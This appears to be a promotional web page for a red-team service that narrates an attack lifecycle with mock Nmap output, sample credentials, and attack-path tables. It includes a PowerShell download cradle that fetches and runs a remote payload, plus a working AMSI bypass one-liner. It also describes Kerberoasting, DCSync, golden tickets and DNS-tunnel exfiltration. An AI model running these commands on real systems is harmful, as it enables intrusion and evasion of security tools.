LOADING REPORT...
We don't just find vulnerabilities. We become the enemy.
A full-scope simulation of a sophisticated cyberattack, testing your
people, processes, and technology against a real-world breach scenario.
OBJECTIVE: Compromise Critical Assets (Crown Jewels) without detection.
RULES OF ENGAGEMENT: No destructive malware. No ransomware. Full evasion authorized. Physical entry authorized.
DURATION: 4 - 6 Weeks
OPFOR TEAM: 3 Operators (1 Lead, 2 Specialists)
Penetration Testing is about finding bugs. Red Teaming is about testing defenders.
In a Pentest, we might find 50 vulnerabilities in 5 days. It's noisy, it's thorough, and everyone knows we're coming.
In a Red Team Engagement, we don't care about finding 50 bugs. We only need one. We move slowly, silently, and mimic the tactics, techniques, and procedures (TTPs) of real-world threat actors like APT29 or LAPSUS$.
"The goal isn't to break the system. The goal is to see if your Blue Team can catch us breaking the system."
Before the first packet is sent, the war is won. We map your digital footprint using passive Open Source Intelligence (OSINT). We don't touch your servers yet. we analyze your people, your providers, and your mistakes.
Starting Nmap 7.94 at 2024-03-15 03:14 EDT
Nmap scan report for git.target.corp (203.0.113.12)
Host is up (0.042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http nginx 1.18.0
443/tcp open ssl/http nginx 1.18.0
8080/tcp open http Jenkins 2.190 (VULNERABLE)
|_ http-title: Dashboard [Jenkins]
admin@target.com:Hunter2!
root@dev.target.com:admin123
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Weaponized attachments (HTML Smuggling, ISOs) designed to bypass Secure Email Gateways.
Watering hole attacks on industry news sites or compromised ad networks.
Credential Stuffing, Token Hijacking, and MFA Fatigue attacks.
Exploiting 1-day vulnerabilities in VPN concentrators, RDP, or firewalls.
Technological defenses are strong. Humans are vulnerable.
We craft hyper-realistic pretexts based on our Recon phase. An urgent email from "IT Support" about a password policy update. A fake "Zoom Update" landing page.
It takes one click. Just one.
Once we have a credential or a code execution, we establish a beachhead. This is often a standard employee workstationβour foothold inside your castle.
"Amateurs hack systems. Professionals hack people."
// PowerShell Download Cradles (Fileless Execution)
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.5/payload.ps1')
# Bypass AMSI
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
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Attackers don't bring their own malware anymore (it gets caught). We use your tools against you.
We use PowerShell, WMI, and PsExec. These are tools your admins use every day. To your EDR, we look like a sysadmin. To your SOC, we are invisible noise.
This is called "Living off the Land".
We are inside. But we are just a standard user. We need to become God (Domain Admin).
Corporate networks are messy. Active Directory is a maze of thousands of permissions, groups, and legacy settings. We use graph theory tools like BloodHound to find the shortest path through this chaos.
We don't hack machines; we abuse relationships. "User A can reset User B's password, who is an Admin on Server C..."
| HOP | NODE | METHOD |
|---|---|---|
| 01 | WKSTN-029 (Beachhead) | Local Admin |
| 02 | SRV-FILE-01 | Kerberoasting |
| 03 | DC-01 (Domain Controller) | DCSync |
We have escalated to Domain Admin. We now own your entire network. We can create users, read emails, decrypt passwords, and wipe logs.
Cracking service account tickets offline to reveal plaintext passwords.
Impersonating a Domain Controller to request password hashes for any user.
Forging a TGT that is valid for 10 years. Infinite persistence.
Locating PII, IP, and Financial Records using automated regex crawlers.
Encrypting data into password-protected ZIPs to evade DLP scanners.
Slow-drip upload via DNS tunneling or HTTPS to avoid traffic shaping triggers.
It's not stolen until it leaves the building. Exfiltration is the delicate art of moving gigabytes of sensitive data past your DLP (Data Loss Prevention) systems.
We emulate ransomware gangs like LockBit or BlackCat. We identify your most valuable assets, compress them, and leak them slowly over encrypted channels.
| FILE | TYPE | SIZE |
|---|---|---|
| customer_db_full.sql | Database | 42 GB |
| patent_filings_2024.pdf | Intellectual Prop | 1.2 GB |
| ceo_emails_archive.mbox | Communication | 8.5 GB |
| finance_q4_unaudited.xlsx | Financial | 14 MB |
| TOTAL LOOT VALUE | $4.2M+ | |
Security is distinct from survival. I help companies build fortresses, not just check boxes.